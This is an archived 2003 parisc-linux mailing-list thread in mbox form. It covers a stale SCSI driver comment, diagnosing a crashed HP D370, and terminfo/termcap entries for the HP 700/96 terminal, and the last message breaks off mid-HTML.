Message-ID: <20030805055919.GA21815@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622647 28763 80.91.229.3 (22 Nov 2014 02:17:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  4 23:59:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 902E5482E; Mon,  4 Aug 2003 23:59:19 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19095

Willy,
your favorite scsi driver still has references to io_request_lock in
it's comments:
...
 *  The whole SCSI sub-system under Linux is basically single-threaded.
 *  Everything, including low-level driver interrupt routine, happens
 *  with the `io_request_lock' held.
...

I was looking at what else might not have been forward ported
and stumbled across this reference. Care to delete it?

thanks,
grant


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Beerse, Corne" <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Summary: [HPADM][parisc-linux] testing HP-PA risc hardware
Date: Tue, 5 Aug 2003 12:49:45 +0200
Lines: 160
Approved: news@gmane.org
Message-ID: <03Aug5.131008cest.119165@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C35B3F.48453BF0"
X-Trace: ger.gmane.org 1416622647 28765 80.91.229.3 (22 Nov 2014 02:17:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:27 +0000 (UTC)
To: "'maillist parisc-linux'" <parisc-linux@parisc-linux.org>,
	"'maillist HP-UX-admin'" <hpux-admin@DutchWorks.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 04:49:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61943482E
	for <parisc-linux@parisc-linux.org>; Tue,  5 Aug 2003 04:49:58 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119165>; Tue, 5 Aug 2003 13:10:08 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19096

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C35B3F.48453BF0
Content-Type: text/plain

I got several nice answers from both the HPAdmin and the PARisc-Linux lists.

The answer from Bill Hassell noted that is was most likely not a memory
problem, but a CPU problem. Since there are 2 of them inside the box, I
expect no problems with a single processor linux. I will be verry carefull
on installing smp linux...

Most of them pointed me to ODE (Offline Diagnostics Environement) on the
"Support Plus" cd that came with HP-UX.

The recipy on HP-UX machines:
- Boot from the CDRom
- Interact wit IPL: YES
- (set/read the current itme with CLKUTIL)
- ODE, then, at the ODE prompt:
  - ls for a list of tests and options
  - menu promisses to be a nice one
Unfortunatly, all is protected with a password and the password I got from
one of you did not match the distribution I have here ("HPUX 11.0, march
2001")

Meanwhile, I'm installing Debian linux on the box, without any hardware
bumps. In the HP-70096 terminal menu, I found the way to have it emulate
VT100 (called "EM100") (starting at the <user-system> button, left to <F5>).

Thanks.


Origional message:

Here I have an HP D370 machine that (during my holidays) crashed. Since the
machine was replaced since long and only kept running for fast access to old
stuff, not a real problem.

At first, we suspected the boot disk since its led keeps buring. However,
booting HP-UX from CDRom for a new fresh install, the boot of the kernel
crashes at roughly the same point, even with all disks removed. Hence we
suspected the core memory. However, changing or replacing the memory does
not change anything in the behavoure.

Is there a way to somehow test the hardware of a PA-Risc machine? Either
from HP or from the linux world? 

Kind of like the test tools as found on the (intel-) linux distributions? 

btw: I can get debian-woody booted up to the message that if this is the
last message on screen, check the faq. A second terminal (HP 700/96) on tty1
shows a lot of (vt100?) junk. How can I either put the HP700/96 terminal in
VT100 mode or whats the magic name of this terminal in the 'TERM=...' kernel
parameter?




CBee 


mailto:c.beerse@torex-hiscom.nl

------_=_NextPart_001_01C35B3F.48453BF0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>Summary: [HPADM][parisc-linux] testing HP-PA risc =
hardware</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I got several nice answers from both the HPAdmin and =
the PARisc-Linux lists.</FONT>
</P>

<P><FONT SIZE=3D2>The answer from Bill Hassell noted that is was most =
likely not a memory problem, but a CPU problem. Since there are 2 of =
them inside the box, I expect no problems with a single processor =
linux. I will be verry carefull on installing smp linux...</FONT></P>

<P><FONT SIZE=3D2>Most of them pointed me to ODE (Offline Diagnostics =
Environement) on the &quot;Support Plus&quot; cd that came with =
HP-UX.</FONT>
</P>

<P><FONT SIZE=3D2>The recipy on HP-UX machines:</FONT>
<BR><FONT SIZE=3D2>- Boot from the CDRom</FONT>
<BR><FONT SIZE=3D2>- Interact wit IPL: YES</FONT>
<BR><FONT SIZE=3D2>- (set/read the current itme with CLKUTIL)</FONT>
<BR><FONT SIZE=3D2>- ODE, then, at the ODE prompt:</FONT>
<BR><FONT SIZE=3D2>&nbsp; - ls for a list of tests and options</FONT>
<BR><FONT SIZE=3D2>&nbsp; - menu promisses to be a nice one</FONT>
<BR><FONT SIZE=3D2>Unfortunatly, all is protected with a password and =
the password I got from one of you did not match the distribution I =
have here (&quot;HPUX 11.0, march 2001&quot;)</FONT></P>

<P><FONT SIZE=3D2>Meanwhile, I'm installing Debian linux on the box, =
without any hardware bumps. In the HP-70096 terminal menu, I found the =
way to have it emulate VT100 (called &quot;EM100&quot;) (starting at =
the &lt;user-system&gt; button, left to &lt;F5&gt;).</FONT></P>

<P><FONT SIZE=3D2>Thanks.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Origional message:</FONT>
</P>

<P><FONT SIZE=3D2>Here I have an HP D370 machine that (during my =
holidays) crashed. Since the machine was replaced since long and only =
kept running for fast access to old stuff, not a real =
problem.</FONT></P>

<P><FONT SIZE=3D2>At first, we suspected the boot disk since its led =
keeps buring. However, booting HP-UX from CDRom for a new fresh =
install, the boot of the kernel crashes at roughly the same point, even =
with all disks removed. Hence we suspected the core memory. However, =
changing or replacing the memory does not change anything in the =
behavoure.</FONT></P>

<P><FONT SIZE=3D2>Is there a way to somehow test the hardware of a =
PA-Risc machine? Either from HP or from the linux world? </FONT>
</P>

<P><FONT SIZE=3D2>Kind of like the test tools as found on the (intel-) =
linux distributions? </FONT>
</P>

<P><FONT SIZE=3D2>btw: I can get debian-woody booted up to the message =
that if this is the last message on screen, check the faq. A second =
terminal (HP 700/96) on tty1 shows a lot of (vt100?) junk. How can I =
either put the HP700/96 terminal in VT100 mode or whats the magic name =
of this terminal in the 'TERM=3D...' kernel parameter?</FONT></P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>CBee </FONT>
</P>
<BR>

<P><FONT SIZE=3D2><A =
HREF=3D"mailto:c.beerse@torex-hiscom.nl">mailto:c.beerse@torex-hiscom.nl=
</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C35B3F.48453BF0--


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Terminfo/termcap for a 70096 ...
Date: Tue, 5 Aug 2003 14:37:40 +0300
Lines: 30
Approved: news@gmane.org
Message-ID: <20030805113739.GT14491@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622648 28770 80.91.229.3 (22 Nov 2014 02:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 05:37:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3583482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Aug 2003 05:37:43 -0600 (MDT)
Original-Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.6/Switch-2.2.6) with ESMTP id h75BbgJ00512
	for <parisc-linux@lists.parisc-linux.org>; Tue, 5 Aug 2003 14:37:42 +0300 (EET DST)
Original-Received: from esebh002.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T63def37e7fac158f24077@esvir04nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 5 Aug 2003 14:37:41 +0300
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 5 Aug 2003 14:37:41 +0300
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h75Bber20581
	for parisc-linux@lists.parisc-linux.org; Tue, 5 Aug 2003 14:37:40 +0300 (EEST)
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 05 Aug 2003 11:37:41.0508 (UTC) FILETIME=[FACC7440:01C35B45]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19097

I tried to ask this question in the comp.sys.hp.hpux newsgroup once but 
didn't get any useful answers... anyone here know better?

(yes, I know, this is probably specifically _not_ a problem on 
parisc-linux as all the parisc stuff is supposed to have a HP-UX license 
in the first place, for some version of HP-UX.)

Is it legal to copy terminfo and termcap entries (from HP-UX in this 
case)?

The problem is that HP-UX is pretty much the only thing that comes with a 
terminfo entry for a 70096, and we have a bunch of those that could be 
useful on other systems too ... except that the scrollback doesn't work 
in the emulation modes. 

It would therefore be better to be able to run in native mode, but this 
pretty much _requires_ the terminfo/termcap entry ... 

Oh, and about the cursor keys on the 70096, if I were to put them in the 
"application" mode, would that help with bash et al.? They seem to be 
working in swinstall and such on HP-UX ... but the default mode seems to 
be non-transmitting, right? (yes, I could use that too myself, and 
re-enter stuff from the buffer with the print/enter key and do the 
line-modify thing... but the others have a hard time learning that.)


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Terminfo/termcap for a 70096 ...
Date: Tue, 5 Aug 2003 15:04:24 +0200
Lines: 176
Approved: news@gmane.org
Message-ID: <03Aug5.152448cest.119163@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C35B52.17F0F8A0"
X-Trace: ger.gmane.org 1416622648 28773 80.91.229.3 (22 Nov 2014 02:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:28 +0000 (UTC)
To: "'Nahkola Mikko'" <mnahkola@trinms01.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 07:04:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id D100A482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Aug 2003 07:04:29 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119163>; Tue, 5 Aug 2003 15:24:48 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19098

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C35B52.17F0F8A0
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Nahkola Mikko [mailto:mnahkola@trinms01.ntc.nokia.com]
> 
> I tried to ask this question in the comp.sys.hp.hpux newsgroup once but 
> didn't get any useful answers... anyone here know better?

The /etc/termcap file on a RedHat 7.3 machine does contain a bunch of HP
terminals, including 700 series like 700 44 and 700 92. I think the latter
one will suit your needs. There are even more. As far as I know, it all ends
in hpterm, the hp-terminal emulator (xterm equivalent) for X11 (vue) with
similar capabilities as the 700 series terminals.

Unfortunatly, while installing DebianWoody on a D370, I found none of them
in the terminfo database (and no termcap file). And the HP700/96 came with
the D370. I know one thing to do after finalizing the install....

> 
> (yes, I know, this is probably specifically _not_ a problem on 
> parisc-linux as all the parisc stuff is supposed to have a HP-UX license 
> in the first place, for some version of HP-UX.)
> 
> Is it legal to copy terminfo and termcap entries (from HP-UX in this 
> case)?

I don't think it is illegal to tune any system to use HP hardware with a
published interface and I think the manual of the terminal clearly publishes
the codes as used in the termcap or terminfo files.

> 
> The problem is that HP-UX is pretty much the only thing that comes with a 
> terminfo entry for a 70096, and we have a bunch of those that  could be 
> useful on other systems too ... except that the scrollback doesn't work 
> in the emulation modes. 

Some settings of $TERM that come to mind include 'hpterm', 'hp700',
'hp70092'. I recal I've used them between HP-UX and Solaris machines, hence
Solaris also might have suitable termcap or terminfo entries.

> 
> It would therefore be better to be able to run in native mode, but this 
> pretty much _requires_ the terminfo/termcap entry ... 
> 
> Oh, and about the cursor keys on the 70096, if I were to put 
> them in the 
> "application" mode, would that help with bash et al.? They seem to be 
> working in swinstall and such on HP-UX ... but the default 
> mode seems to 
> be non-transmitting, right? (yes, I could use that too myself, and 
> re-enter stuff from the buffer with the print/enter key and do the 
> line-modify thing... but the others have a hard time learning that.)

don't know, just put the terminal in em220 (vt220 emulation) mode to install
debian.





CBee

------_=_NextPart_001_01C35B52.17F0F8A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Terminfo/termcap for a 70096 ...</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Nahkola Mikko [<A =
HREF=3D"mailto:mnahkola@trinms01.ntc.nokia.com">mailto:mnahkola@trinms01=
.ntc.nokia.com</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I tried to ask this question in the =
comp.sys.hp.hpux newsgroup once but </FONT>
<BR><FONT SIZE=3D2>&gt; didn't get any useful answers... anyone here =
know better?</FONT>
</P>

<P><FONT SIZE=3D2>The /etc/termcap file on a RedHat 7.3 machine does =
contain a bunch of HP terminals, including 700 series like 700 44 and =
700 92. I think the latter one will suit your needs. There are even =
more. As far as I know, it all ends in hpterm, the hp-terminal emulator =
(xterm equivalent) for X11 (vue) with similar capabilities as the 700 =
series terminals.</FONT></P>

<P><FONT SIZE=3D2>Unfortunatly, while installing DebianWoody on a D370, =
I found none of them in the terminfo database (and no termcap file). =
And the HP700/96 came with the D370. I know one thing to do after =
finalizing the install....</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; (yes, I know, this is probably specifically =
_not_ a problem on </FONT>
<BR><FONT SIZE=3D2>&gt; parisc-linux as all the parisc stuff is =
supposed to have a HP-UX license </FONT>
<BR><FONT SIZE=3D2>&gt; in the first place, for some version of =
HP-UX.)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Is it legal to copy terminfo and termcap =
entries (from HP-UX in this </FONT>
<BR><FONT SIZE=3D2>&gt; case)?</FONT>
</P>

<P><FONT SIZE=3D2>I don't think it is illegal to tune any system to use =
HP hardware with a published interface and I think the manual of the =
terminal clearly publishes the codes as used in the termcap or terminfo =
files.</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The problem is that HP-UX is pretty much the =
only thing that comes with a </FONT>
<BR><FONT SIZE=3D2>&gt; terminfo entry for a 70096, and we have a bunch =
of those that&nbsp; could be </FONT>
<BR><FONT SIZE=3D2>&gt; useful on other systems too ... except that the =
scrollback doesn't work </FONT>
<BR><FONT SIZE=3D2>&gt; in the emulation modes. </FONT>
</P>

<P><FONT SIZE=3D2>Some settings of $TERM that come to mind include =
'hpterm', 'hp700', 'hp70092'. I recal I've used them between HP-UX and =
Solaris machines, hence Solaris also might have suitable termcap or =
terminfo entries.</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; It would therefore be better to be able to run =
in native mode, but this </FONT>
<BR><FONT SIZE=3D2>&gt; pretty much _requires_ the terminfo/termcap =
entry ... </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Oh, and about the cursor keys on the 70096, if =
I were to put </FONT>
<BR><FONT SIZE=3D2>&gt; them in the </FONT>
<BR><FONT SIZE=3D2>&gt; &quot;application&quot; mode, would that help =
with bash et al.? They seem to be </FONT>
<BR><FONT SIZE=3D2>&gt; working in swinstall and such on HP-UX ... but =
the default </FONT>
<BR><FONT SIZE=3D2>&gt; mode seems to </FONT>
<BR><FONT SIZE=3D2>&gt; be non-transmitting, right? (yes, I could use =
that too myself, and </FONT>
<BR><FONT SIZE=3D2>&gt; re-enter stuff from the buffer with the =
print/enter key and do the </FONT>
<BR><FONT SIZE=3D2>&gt; line-modify thing... but the others have a hard =
time learning that.)</FONT>
</P>

<P><FONT SIZE=3D2>don't know, just put the terminal in em220 (vt220 =
emulation) mode to install debian.</FONT>
</P>
<BR>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C35B52.17F0F8A0--


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Terminfo/termcap for a 70096 ...
Date: Tue, 5 Aug 2003 14:33:09 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030805133309.GO22222@parcelfarce.linux.theplanet.co.uk>
References: <03Aug5.152448cest.119163@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622648 28775 80.91.229.3 (22 Nov 2014 02:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:28 +0000 (UTC)
Cc: 'Nahkola Mikko' <mnahkola@trinms01.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Beerse=2C_Corn=E9?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 07:33:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0761A482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Aug 2003 07:33:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19k1w5-00046w-I9; Tue, 05 Aug 2003 14:33:09 +0100
Content-Disposition: inline
In-Reply-To: <03Aug5.152448cest.119163@ns.hiscom.nl>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19099

On Tue, Aug 05, 2003 at 03:04:24PM +0200, "Beerse, Corn" wrote:
> Unfortunatly, while installing DebianWoody on a D370, I found none of them
> in the terminfo database (and no termcap file). And the HP700/96 came with
> the D370. I know one thing to do after finalizing the install....

Yeah, Debian doesn't have termcap, there's a document somewhere that
explains why.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Terminfo/termcap for a 70096 ...
Date: Tue, 5 Aug 2003 15:53:34 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <03Aug5.161359cest.119152@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C35B58.F6A87270"
X-Trace: ger.gmane.org 1416622648 28779 80.91.229.3 (22 Nov 2014 02:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 07:53:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD102482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Aug 2003 07:53:43 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119152>; Tue, 5 Aug 2003 16:13:59 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19100

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C35B58.F6A87270
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

> -----Original Message-----
> From: Matthew Wilcox [mailto:willy@debian.org]
> Sent: dinsdag 5 augustus 2003 15:33
>=20
> On Tue, Aug 05, 2003 at 03:04:24PM +0200, "Beerse, Corn=E9" wrote:
> > Unfortunatly, while installing DebianWoody on a D370, I found none =
of
them
> > in the terminfo database (and no termcap file). And the HP700/96 =
came
with
> > the D370. I know one thing to do after finalizing the install....
>=20
> Yeah, Debian doesn't have termcap, there's a document somewhere that
> explains why.

I don't care if they use termcap or terminfo. It bothers me that they =
have
no HP700xx entry in there, not even in the pa-risc distribution. =
Specially
the pa-risc distro can find a 700xx terminal at its console so it would =
be
nice if the TERM boot parameter can be set to indicate a hp700 =
terminal.

On the other hand, I'm one of those sysadmins that can find its way =
around
and I expect most installations to PA-Risc will be a kind of freak or =
hacker
that can find a way. It is just a little uncomfortable.


CBee

------_=_NextPart_001_01C35B58.F6A87270
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
